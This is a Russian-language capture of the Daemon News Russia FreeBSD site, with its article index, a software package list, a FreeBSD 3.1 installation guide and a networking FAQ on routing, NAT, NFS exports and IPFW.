Daemon News Russia
новости ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
Инсталляция системы; Работа в сети; Конфигурирование и перегенерация ядра; Начальная загрузка и останов системы; Краткое описание некоторых полезных команд; Несколько слов о "режиме безопасности"; Инсталляция FreeBSD в качестве Internet-сервера; Интерактивные интерфейсы пользователей; Как перевести систему от a.out к ELF (миграция с 2.X на 3.X); Конфигурация (Fast) Ethernet; Типы файлов и права доступа; Управление процессами; Регистрация в системе и учет системных ресурсов; Пользовательские бюджеты и группы (часть 1); Пользовательские бюджеты и группы (часть 2); Конфигурирование принтеров и очередей FreeBSD; Настраиваем socks5 для работы с ICQ;
Система X Window; Конфигурация IPX под FreeBSD; Работа с man- страницами; UNIX и интернет; UDP Scanner for UniX - просто? Администрирование UNIX через Webmin; Вопросы безопасности в ОС семейства UNIX; Гадости на FreeBSD; Меняем баннеры некоторых демонов; Русификация; Сжатие файлов: программа gzip; Создание архивов: программа tar; BASTION ROUTER на базе FreeBSD; Fido станция под Unix; FreeBSD и безопасность; ProFTPD в FreeBSD; UUCP - Unix to Unix Copy; Использование VINUM под FreeBSD; Краткое руководство по настройке uucp почты в FreeBSD; Некоторые аспекты безопасности Веб-серверов на Unix платформах; Форматирование дисков в FreeBSD; PortSentry - узнай своих врагов в лицо; История UNICS (aka UNIX) и семейства;
http://www.freebsd.bip.ru/lib.shtml (1 of 3)10.04.2004 17:23:21
Daemon News Russia
FTN - софт под FreeBSD; ● Пример подсчета трафика через ipfw; ● Пример построения пакетного фильтра на ipfw; ● Настройка IOMEGA ZIP 100 LTP в операционной системе FreeBSD; ● Какие бывают юниксойды; ● Как добавить юзера? ● Как создать или удалить группу? ● Kак удалить юзера? ● Установка сервера Apache; ● Дерево, на котром живут черти; ● Работа с E-mail; ● Выделенная линия между сервером клиента с Windows NT4 и FreeBSD; ● Готовность к 2000 году ("Ошибка тысячелетия"); ● Добавление жестких дисков для FreeBSD версий 2.2.5 и выше; ● Редактор vi; ● NFS; ● Создание Web-сервера на базе Apache версии 1.3.* Rus, интегрированного с СУБД MySQL версии 3.22.32 посредством гипертекстового препроцессора PHP версии 3.0.*; ● Мосты; ● Инсталяция FireWall; ● Интерпритатор команд; ● Причины существования уязвимостей в UNIX-системах; ● Новое в мире демонов: FreeBSD 4.4; ● Установка и конфигурирование fetchmail; ● Установка и конфигурирование postfix; ● Мониторинг траффика с использованием trafd; ● Эффекты тонкой настройки; ● Инсталяция MRTG (Multi Router Traffic Grapher); ● WWW Proxy; ● Построение межсетевого экрана на коммутируемом канале связи при помощи FreeBSD; ● Использование загрузчика Windows NT для загрузки FreeBSD; ● ОС BSD жила, живет и будет жить; ● Настройка NATD в среде FreeBSD; ● Синхронизация своей FreeBSD машины с мировым временем по протоколу NT; ● Установка защищенного соединения на FreeBSD; ● Надежная SMB; ● Трюки BSD - Memory File System; ● Пять причин, почему не стоит устанавливать Linux у себя дома; ● Запуск механизма квот; ● Конфигурирование SLIP-сервера; ● UNIX: достоинства, недостатки и эмоции; ● Использование IPSec в среде Windows 2000 и FreeBSD; ● Введение в демонологию или сколько BSD-систем может уместиться на PC; ● Маленькие ньюансы при установке и настройке ProFTPD; ● FreeBSD-4.x and multimedia; ● Поиск в unix; ● Скроллер; ●
http://www.freebsd.bip.ru/lib.shtml (2 of 3)10.04.2004 17:23:21
Daemon News Russia
Пишем perl-скрипт для trafd; ● Защита сетей общего пользования от хищения параметров IP; ● Создание моста-фильтра на основе FreeBSD; ● Policy routing в FreeBSD с помощью ipfw; ● Введение в автоматизацию. Часть 1; ● Исследуем процессы. Часть 2; ● Интеграция Антивируса Касперского с почтовой системой; ● Руководство по настройке аутентификации пользователей посредством LDAP; ● Accept-фильтры; ● FreeBSD 4.3 и Initial Sequence Number; ● FAQ по установке и настройке IC-RADIUS под FreeBSD; ● VMware2 и образы компактных дисков; ● Ограничение доступа пользователей; ● Как вернуть мышь из четвёртого измерения с плюсом; ● Как настроить PnP во FreeBSD; ● Aдреса в TCP/IP; ● Оболочки; ● FreeBSD на лэптопах; ● Переход с Linux на FreeBSD; ● Бездисковый X-сервер: руководство по настройке; ● Звук во FreeBSD; ● Мультимедиа в FreeBSD; ● Просмотр DVD фильмов на FreeBSD; ● Простая и эффективная система подсчета трафика в ОС FreeBSD; ● Построение Частных Виртуальных Сетей на основе UNIX сервера FreeBSD; ● Мини-руководство по созданию Makefile-ов; ● Система фильтрации интернет траффика на основе squidGuard + Apache + Squid + Berkeley DB; ● GPL или BSD? Да!; ● Установка Oracle8i 8.1.7.4 на FreeBSD шаг за шагом; ● Настройка почтового сервера на базе sendmail на FreeBSD 4.7; ● Postfix изнутри; ● Настройка VLAN в FreeBSD; ● Создание бездисковых терминалов; ● Мультиплексор MOXA в FreeBSD; ● Сохранение и восстановление операционной системы FreeBSD; ● Обновление локального дерева портов в FreeBSD; ● Создание системы сетевого мониторинга на основе Nagios; ●
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/lib.shtml (3 of 3)10.04.2004 17:23:21
Daemon News Russia
Название FreeBSD
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Пояснение Последняя версия FreeBSD
arc
Создает и извлекает файлы из DOS .ARC файлов
bzip
Архиватор файлов с блочной сортировкой
fastjar
Версия архиватора jar из поставки JDK написанная полностью с использованием C
freeze
Программа архивации - часто используемая в QNX
hpack
Многосистемный архиватор с поддержкой шифрования с открытым ключем на базе PGP
lha
Архиватор файлов использующий метод компрессии LZW (.lzh файлы)
zip
Создает/изменяет ZIP файлы совместимые с pkzip Требует: unzip-5.42
zoo
Манипулирует архивами файлов в упакованном виде
новости
http://www.freebsd.bip.ru/soft.shtml (1 of 4)10.04.2004 17:23:22
Daemon News Russia
bonnie
Тест на производительность Файловой Системы
iozone
Тест на производительность последовательного файлового ввода/ вывода
lmbench
Программа оценки производительности системы
nbench
Родные тесты Журнала BYTE
netpipe
Самомасштабирующийся сетевой тест
polygraph
Программа оценки производительности web proxy серверов
postmark
Программа тесторования скорости файловой системы от NetApps
rawio
Проверка производительности устройств хранения информации на низком уровне
tcpblast
Измерение пропускной способности tcp соединения
xengine
Оценивающая система для X-Window
bladeenc
MP3 encoder
http://www.freebsd.bip.ru/soft.shtml (2 of 4)10.04.2004 17:23:22
Daemon News Russia
fmio
FM radio card manipulation utility
xamp
Проигрыватель mpeg файлов Tребует: XFree86-3.3.6_9, gettext-0.10.35, gmake-3.79.1, qt-1.45_1
ru-apache+mod_ssl
Русский Apache webserver с функциями SSL/TLS Требует: mm-1.1.3
ru-apache
Apache http server
ru-cyrproxy
Cyrillic proxy для протоколов сети
ru-ispell
Русский (KOI8-R) словарь для ISPELL Требует: ispell-3.2.04
ru-koi8rPS
Русские PostScript шрифты
netscape
Netscape 4.7 ru Требует: XFree86-3.3.6_9, XFree86-aoutlibs-3.3.6.9, netscapecommunicator-4.76, netscape-remote-1.0_1, netscape-wrapper2000.07.07, ru-X11-3.3
ru-pgp
Русский модуль для PGP Требует: pgp-2.6.3i, unzip-5.42
http://www.freebsd.bip.ru/soft.shtml (3 of 4)10.04.2004 17:23:22
Daemon News Russia
HeroesOfMightAndMagic-BSD-версия игры "Heroes of Might and Magic III" Требует: linux-gtk-1.2_1, linux_base-6.1 3
QuakeForge
Клон QuakeForge под FreeBSD Требует: XFree86-3.3.6_9, autoconf-2.13_1, automake-1.4, bzip2-1.0.1, esound-0.2.22, gettext-0.10.35, gmake-3.79.1, libaudiofile-0.2.1_1, m4-1.4, sdl-1.0.8_1, svgalib-1.4.2_1
civ2demo
Бесплатная демо-версия игры "Civilization: Call to Power"
digger
FreeBSD графическая консольная (VGL) игра Digger
doom
DOOM 1 Требует: XFree86-3.3.6_9, gettext-0.10.35, gmake-3.79.1, unzip-5.42
reeciv-gtk
К лон "Цивилизации" для X11; multiplayer Требует: XFree86-3.3.6_9, bzip2-1.0.1, gettext-0.10.35, glib-1.2.10_3, gtk1.2.10_2, imlib-1.9.10_1, jpeg-6b, libungif-4.1.0b1, png-1.0.12, tiff-3.5.5, xpm-3.4k
hlserver-cs
Мод к Half-Life: Counter-Strike Требует: hlds-3.1.0.6_2, linux_base-6.1
hlserver-opfor
Мод к Half-Life: Opposing Forces Требует: hlds-3.1.0.6_2, linux_base-6.1 (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/soft.shtml (4 of 4)10.04.2004 17:23:22
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
Инсталяция системы Где взять дистрибутив? Аппаратное обеспечение Подготовка к инсталляции Установка FreeBSD Установка программного обеспечения Где взять дистрибутив? В первую очередь все основные готовые версии FreeBSD доступны с ftp://ftp.FreeBSD.org/pub/ FreeBSD в России - ftp://ftp.ru/. Для получения списка серверов, с которых можно скачать свежую версию FreeBSD, обратитесь на http://www.freebsd.org/. Если Вы хотите приобрести компакт-диск с FreeBSD, обратитесь на http://www.freebsd.org.ru/. Диск с ОС FreeBSD также можно приобрести у компании CDROM, по адресу: Walnut Creek CDROM 4041 Pike Lane, Suite F Concord, CA 94520 USA Заказ: +1 800 786-9907 FAX: +1 925 674-0821 email: WC Orders address WWW: WC Home page Аппаратное обеспечение В настоящий момент FreeBSD работает на персональных компьютерах от 386sx до Pentium II (хотя 386sx не рекомендуется), с большим разнообразием шин: ISA, VLB, EISA и PCI. Предоставляется поддержка для основных конфигураций устройств IDE и ESDI, различных SCSI контроллеров, сетевых карт и карт последовательного доступа. Для запуска FreeBSD требуется как минимум 4 Мб RAM. Если версия вашей системы 2.2.8 и выше, вам потребуется не менее 5 Мб RAM. Если Вы планируете использовать X Window System, то Вам потребуется не менее 8 Мб RAM. Для примера, конфигурация моего ПК: AMD K6-400, 64 Mb RAM, SIS6326 video 4 Mb RAM integrated, HDD 3.2 Gb, Sound blaster ALS4000, floppy 3.5', PS/2 mouse.
http://www.freebsd.bip.ru/install.shtml (1 of 5)10.04.2004 17:23:29
Daemon News Russia
Подготовка к инсталляции Инсталлировать FreeBSD можно с различных носителей (раздела DOS, CD-ROM, через FTP и NFS). В данном курсе будет описана процедура инсталляции ОС FreeBSD 3.1-RELEASE с существующего раздела DOS. На существующем разделе DOS создайте каталоги C:\BIN и положите туда все файлы из директории bin C:\SRC и положите туда все файлы из директории src C:\FLOPPIES и положите туда все файлы из директории floppies C:\TOOLS и положите туда все файлы из директории tools дистрибутива FreeBSD. Если же у Вас нет дефицита места на диске C:, то Вы можете просто смело скопировать все каталоги с дистрибутива ОС FreeBSD в корневой каталог C:\. С помощью утилиты fdimage из каталога tools создайте загрузочный диск (предварительно вставив чистую отформатированную дискету в дисковод a:) из образа диска в директории C: \FLOPPIES c:\TOOLS\fdimage c:\FLOPPIES\kern.flp a: Аналогично сделаем дискету с mfsroot.flp: c:\TOOLS\fdimage c:\FLOPPIES\mfsroot.flp a: Инсталляционные дискеты подготовлены и можно приступать к установке самой операционной системы. Установка FreeBSD Вставьте дискету с kern.flp в дисковод а: и перезапустите компьютер. После того, как система считает информацию с дискеты, она попросит вставить вторую дискету: mfsroot.flp. Вставьте эту дискету и нажмите клавишу <Enter>. Если Вы в первый раз инсталлируете ОС FreeBSD и/или не уверены в точном знании всех устройств вашего компьютера, то пропустите пункт конфигурации ядра. Через некоторое время ядро ОС FreeBSD опросит устройства вашего компьютера и запустит программу инсталляции, которая предоставит Вам меню для начала инсталляции. Выберете пункт меню Keymap и установите раскладку клавиатуры в Russia KOI8-R. Выберите в меню Custom подменю Options. Укажите нужный Вам редактор (я, например, плохо знаю редактор vi, поэтому пользуюсь /usr/bin/ ее) Выберите Media, как "Инсталляция с существующей DOS-partition". Нажмите "Q" для возврата в главное меню. Теперь нужно указать программе установки область диска для инсталляции. Выберите пункт Partition. Программа сообщит Вам, какие есть на диске разделы и их тип. Создайте с помощью команды "С" раздел (в системе FreeBSD он именуется - "слайс"). На запрос о количестве секторов, выделяемых под раздел, нажмите "ОК", если хотите использовать все оставшееся место, либо введите их количество. Если Вам трудно оперировать секторами, можно указать размер и в мегабайтах, поставив букву 'М". На запрос о типе файловой системе http://www.freebsd.bip.ru/install.shtml (2 of 5)10.04.2004 17:23:29
Daemon News Russia
наберите 165 и нажмите "ОК". Нажмите "Q"" для возврата в главное меню. Далее нам нужно на созданном слайсе определить файловые системы. Выберите в меню пункт Label. Это ответственный момент. Внимательно посмотрите на меню используемых команд. Если не хотите делать это вручную, то нажмите "А", и программа все сделает сама. Для примера, свой диск 3.2 Gb, я разделил таким образом: 2.2 Gb - DOS-partition 1.0 Gb - FreeBSD-slice Для FreeBSD место разделил так: - wd0s1 2200M <none> <dos> - wd0s2a 100M / UFS Y - wd0s2b 125M swap - wd0s2e 575M /usr UFS Y - wd0s2f 200M /var UFS Y Пространство для swap достаточно сделать в два раза больше размера оперативной памяти компьютера. Нажмите "Q". Укажите, что программа установки FreeBSD должна установить BootManager. Это следует сделать для выбора операционной системы при загрузке компьютера. Следующий пункт - выбор инсталлируемого пакета. Если Вы копировали каталог /src с дистрибутива FreeBSD, то советую установить исходные коды ядра, они нам понадобятся при его переконфигурации. Если Вы не собираетесь этого делать (что бывает крайне редко), то укажите Distribution >> Custom >> bin, т.е. установить только исполняемые файлы. Выберите Commit. Программа установки спросит, не хотите ли Вы вернуться, чтобы сделать изменения. Если Вы уверены, что все сделали правильно - жмите "ОК". По завершении инсталляции компьютер перегрузится (не забудьте вынуть дискету из дисковода а:). Как видите, установка FreeBSD совсем не сложнее, чем MS Windows ;-). Установка программного обеспечения Существует большое количество программ в виде пакетов (packages) и портов (ports). Что такое package? Package (Пакет) - это архив типа *.tgz (tar-архив, сжатый zip'ом), в котором лежат уже собранные исполняемы файлы программ, описания и руководства к ним, необходимые конфигурационные файлы и т.п. Пакеты собраны под конкретную версию системы, поэтому желательно их не использовать с другой версией. Хотя некоторые из них работают и в других версиях. Пакет содержит также вспомогательные файлы, позволяющие устанавливать пакет автоматически. Используя эти файлы, утилита установки пакетов раскладывает все на свои места и регистрирует пакет в системе.
http://www.freebsd.bip.ru/install.shtml (3 of 5)10.04.2004 17:23:29
Daemon News Russia
Некоторые пакеты для нормальной работы требуют наличие установленных в системе других пакетов (обычно это библиотеки). В таких случаях программа установки проверяет наличие всего необходимого. При установке некоторых пакетов требуется выполнить какие-то дополнительные действия. В таком случае в пакет добавляется "инсталляционный скрипт" (командный файл, обычно с расширением .sh), который утилита установки и запустит в нужный момент. В чем заключается регистрация пакета? В директории /var/db/pkg создается директория с тем же названием, что и пакет, в которую помещаются несколько файлов. В этих файлах находится краткое описание пакета; список всех файлов из пакета, с указанием в какой директории лежит тот или иной файл пакета; дополнительные скрипты, исполняемые при инсталляции пакета и при удалении (если, конечно, таковые имеются); и, если файлы этого пакета используются другими пакетами, то здесь же отмечается, кем пакет используется. (Эти записи появятся позже, если Вы будете устанавливать "подчиненные" пакеты). Все эти данные используются соответствующими утилитами, которые добавляют пакеты удаляют пакеты показывают всевозможную информацию об установленных пакетах Все эти файлы просто текстовые и их легко можно посмотреть любым текстовым редактором. Как установить пакет? Чтобы установить пакет, наберите команду pkg_add <имя архива пакета > Дальше система все сделает автоматически. Если в пакете есть "инсталляционный скрипт", Вам, возможно, придется ответить на несколько вопросов. После инсталляции пакета Вам скорее всего придется "вручную" отредактировать конфигурационные файлы. Но это уже зависит от той программы, которую Вы устанавливаете. Как удалить пакет? Чтобы установить пакет, наберите команду pkg_delete <имя пакета>. Точное имя пакета можно подсмотреть в /var/db/pkg. (Даже если Вы каждый день пользуетесь программой, это еще не значит, что Вы безошибочно назовете имя пакета, откуда его поставили, например bash-2.02.1.tgz) При удалении пакета могут возникнуть некоторые сложности. Во-первых, если пакет используется другими пакетами, утилита откажется его удалять. Однако ее можно заставить все-таки это сделать с помощью ключа f, хотя это не совсем правильно. Во-вторых, если при установке пакета для него специально создавались какие-либо директории, обычно, при удалении пакета они не удаляются. Опять же, утилиту удаления можно заставить это делать ключом -d. И, наконец, кое-какой "мусор" все равно может остаться. Например, если для какой-то программы каждый пользователь может иметь собственный конфигурационный файл в своей домашней директории, естественно, программа удаления пакета их удалять не будет. Информацию об этих командах смотрите в man-страницах:
http://www.freebsd.bip.ru/install.shtml (4 of 5)10.04.2004 17:23:29
Daemon News Russia
man pkg_add - установка пакетов, man pkg_delete - удаление пакетов, man pkg_info - вывод информации об установленных пакетах. В некоторых версиях FreeBSD есть утилита pkg_manage, которая должна была по замыслу авторов объединить в себе все функции вышеперечисленных. Но, потом от нее отказались из-за нестабильной работы. Возможно, в последующих версиях FreeBSD она опять появится. Установка "портов" (ports). Что такое ports? Ports - это описание процесса "сборки" пакета (package). Как можно установить port? Для этого c любого хоста из Internet (смотри раздел "Где взять дистрибутив") из директории ports (такая директория есть для текущих версий FreeBSD) заберем нужный нам "свежий" port. Коллекция ports постоянно изменяется: добавляются новые приложения, исправляются ошибки и т.д. Поэтому, рекомендуется производить обновление коллекции ports. Строгих правил здесь нет, но по возможности делайте обновление хотя бы 2-3 раза в месяц. Для установки приложения zoo из коллекции ports введите команды: # cd /usr/ports/archivers/zoo # make # make install # make clean Для переустановки приложения: # cd /usr/ports/archivers/zoo # make reinstall # make clean Для удаления приложения: # cd /usr/ports/archivers/zoo # make deinstall
http://www.freebsd.bip.ru/install.shtml (5 of 5)10.04.2004 17:23:29
(c) 2001-2002 Daemon News Russia
Daemon News Russia
новости
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
Работа в сети 1. Где можно найти информацию о "бездисковой загрузке"? 2. Может ли машина с FreeBSD использоваться как маршрутизатор? 3. Можно ли подключить машину с Win95 к Internet с помощью FreeBSD? 4. Почему не проходит компиляция последней версии BIND от ISC? 5. Поддерживает ли FreeBSD протоколы SLIP и PPP? 6. Поддерживает ли FreeBSD NAT или Masquerading? 7. Не могу создать устройство /dev/ed0! 8. Как настроить алиас на Ethernet? 9. Как заставить адаптер 3C503 использовать другой тип сетевого разъёма? 10. У меня проблемы при работе NFS во FreeBSD. 11. Почему я не могу смонтировать диск Linux по NFS? 12. Почему я не могу смонтировать диск Sun по NFS? 13. Почему mountd продолжает выдавать сообщения "can't change attributes" и "bad exports list" на моем сервере NFS, работающем под управлением FreeBSD? 14. Проблемы при связи по PPP с машинами NeXTStep. 15. Как включить поддержку multicast IP? 16. Какие сетевые адаптеры сделаны на наборе микросхем DEC PCI? 17. Почему я должен использовать FQDN для хостов не в моей сети? 18. Permission denied для любых действий, связанных с работой сети. 19. Какую нагрузку вызывает использование IPFW? 20. Как можно перенаправить запросы с одной машины на другую? 21. Где можно найти средства управления сетевым трафиком? 22. Почему появляются сообщения /dev/bpf0: device not configured? 23. Как смонтировать диск Windows-машины в моей локальной сети, как это делает smbmount в Linux? 24. Что значат эти сообщения "icmp-response bandwidth limit 300/200 pps" в моих журнальных файлах? 1. Где можно найти информацию о "бездисковой загрузке"? "Бездисковая загрузка" означает, что машина с FreeBSD загружается по сети и читает необходимые файлы с сервера, а не со своего диска. 2. Может ли машина с FreeBSD использоваться как маршрутизатор? Стандарты Internet и опыт практической работы не позволяют нам в FreeBSD держать маршрутизацию пакетов включенной по умолчанию. Вы можете сделать это, изменив значение следующей переменной в файле rc. conf на YES: gateway_enable=YES # Set to YES if this host will be a gateway Этот параметр изменит значение системной переменной net.inet.ip.forwarding на 1.
http://www.freebsd.bip.ru/networking.shtml (1 of 10)10.04.2004 17:23:32
Daemon News Russia
Кроме того, в большинстве случаев вам будет необходимо запустить программу маршрутизации, для того, чтобы объявить о появлении нового маршрутизатора другим системам в вашей сети; FreeBSD поставляется со стандартной для BSD-систем программой маршрутизации routed, в более сложных ситуациях вы можете попробовать GaTeD (доступный по адресу http://www.gated.org с ftp.gated.Merit.EDU), который поддерживает FreeBSD начиная с версии 3_5Alpha7. Мы обязаны предупредить вас, что даже когда FreeBSD настроена таким образом, она не полностью соответствует стандартам Internet для маршрутизаторов, однако для обычной работы этого хватает. 3. Можно ли подключить машину с Win95 к Internet с помощью FreeBSD? Как правило, те, кто задает такие вопросы, имеют дома два компьютера, один с FreeBSD, а другой с Win95; идея состоит в использовании FreeBSD для подключения к Internet, а затем осуществлять выход в Internet из Windows95 через FreeBSD. На самом деле это просто особый случай предыдущего вопроса. ... и ответ на него - да! Во FreeBSD 3.x, ppp режима пользователя имеет параметр -nat. Если вы запустите ppp с параметром -nat, установив в файле /etc/rc.conf gateway_enable в значение YES и правильно настроите машину с Windows, то всё должно прекрасно заработать. Если вы используете ppp режима ядра, или у вас Ethernet-подключение к Internet, можно воспользоваться командой natd. Пожалуйста, обратитесь к разделу о natd этого FAQ. 4. Почему не проходит компиляция последней версии BIND от ISC? Это - результат конфликта между файлом cdefs.h в дистрибутиве и тем, что поставляется с FreeBSD. Достаточно удалить файл compat/include/sys/cdefs.h. 5. Поддерживает ли FreeBSD протоколы SLIP и PPP? Да. Посмотрите страницы справочника по командам slattach, sliplogin, pppd и ppp. Pppd и ppp могут обслуживать как входящие, так и исходящие соединения. Sliplogin имеет дело исключительно со входящими соединениям, а slattach - только с исходящими. Если вы имеете доступ в Internet через командную строку оболочки, вам может подойти slirp. С его помощью можно получить (ограниченный) доступ к таким службам, как ftp и http прямо с вашей машины. 6. Поддерживает ли FreeBSD NAT или Masquerading? Если у вас есть локальная сеть (одна или больше машин), но только один IP адрес, предоставленный провайдером, вас может привлечь natd. natd позволяет подключить всю сеть к Internet, используя единственный IP адрес.
Программа ppp имеет похожую встроенную возможность через параметр -nat. В обоих случаях используется библиотека libalias.
http://www.freebsd.bip.ru/networking.shtml (2 of 10)10.04.2004 17:23:32
Daemon News Russia
7. Не могу создать устройство /dev/ed0! В стандарте сетевого взаимодействия Беркли сетевые интерфейсы напрямую доступны только ядру. За дополнительной информацией обратитесь к файлу / etc/rc.network и страницам справочника, описывающим различные сетевые программы, упоминаемые здесь. Если всё это оставит вас в недоумении, почитайте книгу, описывающую администрирование сети в другой BSDподобной операционной системе; с некоторыми незначительными исключениями, администрирование сети во FreeBSD в основном совпадает с SunOS 4.0 и Ultrix. 8. Как настроить алиас на Ethernet? Добавьте netmask 0xffffffff в командной строке ifconfig так, как это сделано здесь: # ifconfig ed0 alias 204.141.95.2 netmask 0xffffffff 9. Как заставить адаптер 3C503 использовать другой тип сетевого разъёма? Если вы хотите задействовать другой разъём, то должны указать дополнительный параметр в командной строке ifconfig. Разъёмом по умолчанию является link0. Чтобы задействовать разъём AUI, а не BNC, используйте link2. Эти флаги должны быть указаны с помощью переменных ifconfig_* в /etc/rc. conf. 10. У меня проблемы при работе NFS во FreeBSD. Некоторые сетевые адаптеры работают (мягко говоря) хуже, чем другие что может иногда вызывать проблемы при работе приложений типа NFS, интенсивно использующих сеть.
11. Почему я не могу смонтировать диск Linux по NFS? Некоторые версии NFS для Linux поддерживают запросы на монтирование только с привилегированного порта; попробуйте # mount -o -P linuxbox:/blah /mnt 12. Почему я не могу смонтировать диск Sun по NFS? Рабочие станции Sun под управлением SunOS 4.X поддерживают запросы на http://www.freebsd.bip.ru/networking.shtml (3 of 10)10.04.2004 17:23:32
Daemon News Russia
монтирование только с привилегированного порта; попробуйте # mount -o -P sunbox:/blah /mnt 13. Почему mountd продолжает выдавать сообщения "can't change attributes" и "bad exports list" на моем сервере NFS, работающем под управлением FreeBSD? В большинстве случаев проблема заключается в недостаточном понимании следующей фразы из справочной страницы по exports(5): Каждая строка файла (отличная от строк комментариев, начинающихся символом #) описывает точку (точки) монтирования и флаги экспорта внутри одной локальной файловой системы сервера для одного или большего количества хостов. Для каждой локальной файловой системы сервер хост может быть указан только один раз, и для каждой файловой системы сервера может быть только одна используемая по умолчанию строка, которая используется при работе со всеми другими хостами. Наглядно это можно продемонстрировать на примере часто встречающейся ошибки. Если все, находящееся выше /usr, является частью одной файловой системы (то есть нет точек монтирования выше /usr), то следующий список экспортирования будет неправильным: /usr/src client /usr/ports client
Здесь имееются две строки, описывающие свойства одной файловой системы, / usr, экспортируемой некоторому хосту с именем client. Правильный формат таков: /usr/src /usr/ports client Если перефразировать утверждение со страниц Справочника, то свойства одной файловой системы, экспортируемой некоторому хосту (экспортирование для всех интерпретируется как некий уникальный хост), должны быть описаны в одной строке. Да, при этом возникают ограничения на то, как вы можете экспортировать файловые системы, но для большинства людей проблем это не вызывает. Ниже дается пример правильно составленного списка экпортирования, где / usr и /exports являются локальными файловыми системами: # Экспортировать src и ports для client01 и client02, но только http://www.freebsd.bip.ru/networking.shtml (4 of 10)10.04.2004 17:23:32
Daemon News Russia
# client01 имеет на них права администратора /usr/src /usr/ports -maproot=0 client01 /usr/src /usr/ports client02 # "Клиентские" машины имеют корень и могут выполнять монтирование # где угодно выше каталога. # Все остальные могут монтировать /exports/obj только для чтения /exports -alldirs -maproot=0 client01 client02 /exports/obj -ro
14. Проблемы при связи по PPP с машинами NeXTStep. Попробуйте отменить все расширения TCP в /etc/rc.conf, изменив значение следующей переменной в NO: tcp_extensions=NO
Маршрутизаторы Annex фирмы Xylogic не работают по этой же причине, поэтому при подключении к ним вам нужно проделать то же самое. 15. Как включить поддержку multicast IP? Работа с многоадресной рассылкой по умолчанию полностью поддерживается версиями FreeBSD 2.0 и выше. Если вы хотите использовать ваш компьютер как маршрутизатор многоадресного трафика, вам нужно перекомпилировать ядро с включенной опцией MROUTING и запустить mrouted. Версии FreeBSD 2.2 и выше будут запускать mrouted во время загрузки, если переменная mrouted_enable в файле /etc/rc.conf установлена в значение YES. Приложения MBONE находятся в своей категории портов, mbone. Если вы ищете приложения для организации конференций vic и vat, посмотрите там! Более подробная информация располагается на сервере Mbone Information Web. 16. Какие сетевые адаптеры сделаны на наборе микросхем DEC PCI? Вот список, составленный Гленом Фостером (Glen Foster), с некоторыми незначительными добавлениями: Vendor Model ---------------------------------------------ASUS PCI-L101-TB Accton ENI1203 Cogent EM960PCI http://www.freebsd.bip.ru/networking.shtml (5 of 10)10.04.2004 17:23:32
Daemon News Russia
Compex D-Link Dayna DEC Danpex JCIS Linksys Mylex SMC SMC TopWare Znyx
ENET32-PCI DE-530 DP1203, DP2100 DE435, DE450 EN-9400P3 Condor JC1260 EtherPCI LNP101 EtherPower 10/100 (Model 9332) EtherPower (Model 8432) TE-3500P (2.2.x) ZX312, ZX314, ZX342, ZX345, ZX346, ZX348 (3.x) ZX345Q, ZX346Q, ZX348Q, ZX412Q, ZX414, ZX442, ZX444, ZX474, ZX478, ZX212, ZX214 (10mbps/hd)
17. Почему я должен использовать FQDN для хостов не в моей сети? Вы, наверное, обнаружили, что хост, к которому вы обратились, оказался на самом деле в другом домене; например, если вы находитесь в домене foo.bar. edu и хотите обратиться к хосту mumble в домене bar.edu, то должны указать его полное доменное имя, mumble.bar.edu, а не просто mumble. Традиционно, это позволял делать ресолвер BSD BIND. Однако текущая версия bind, поставляемая с FreeBSD, больше не добавляет имена доменов, отличающихся от того, в котором вы находитесь, для не полностью указанных имён хостов. Так что неполно указанный хост mumble будет найден либо как mumble.foo.bar.edu, либо будет искаться в корневом домене. Это отличается от предыдущего поведения, при котором поиск продолжался в mumble.bar.edu и mumble.edu. Посмотрите RFC 1535 о причинах объявления такого поведения плохой практикой и даже ошибкой в безопасности. Как хорошее решение, вы можете поместить строку search foo.bar.edu bar.edu
вместо ранее используемой domain foo.bar.edu
в файл /etc/resolv.conf. Однако удостоверьтесь, что порядок поиска не нарушает "границ полномочий между местным и внешним администрированием", как это названо в RFC 1535.
http://www.freebsd.bip.ru/networking.shtml (6 of 10)10.04.2004 17:23:32
Daemon News Russia
18. Permission denied для любых действий, связанных с работой сети. Если вы компилировали ядро с опцией IPFIREWALL, имейте в виду, что политика по умолчанию настроена как в 2.1.7R (она на самом деле изменилась во время разработки 2.1-STABLE), то есть указан запрет на прохождение всех пакетов, которые явно не разрешены. Если вы случайно неверно отконфигурировали межсетевой экран, то для восстановления работоспособность сети дайте такую команду, войдя суперпользователем: # ipfw add 65534 allow all from any to any Также вы можете установить firewall_type='open' в файле /etc/rc.conf. 19. Какую нагрузку вызывает использование IPFW? Ответ на этот вопрос зависит главным образом от набора правил и производительности процессора. Для большинства приложений, имеющих дело с ethernet и простым набором правил, ответ: незначительно. Для тех, кому нужны реальные цифры для удовлетворения любопытства, читайте дальше. Следующие измерения были сделаны с использованием 2.2.5-STABLE на машине 486-66. IPFW был модифицирован для измерения времени, затрачиваемого внутри процедуры ip_fw_chk и вывода результатов на консоль каждую тысячу пакетов. Тестировались два набора по 1000 правил в каждом. Первый набор был предназначен для демонстрации наихудшего случая, повторяя условие # ipfw add deny tcp from any to any 55555 Это наихудший случай, так как все условия IPFW будут проверены перед тем, как будет принято окончательное решение о том, что пакет не соответствует условию (мы меняли номер порта). После 999 повторений этого условия находилось правило allow ip from any to any. Второй набор был предназначен для быстрого прерывания процесса проверки условий: # ipfw add deny ip from 1.2.3.4 to 1.2.3.4
http://www.freebsd.bip.ru/networking.shtml (7 of 10)10.04.2004 17:23:32
Daemon News Russia
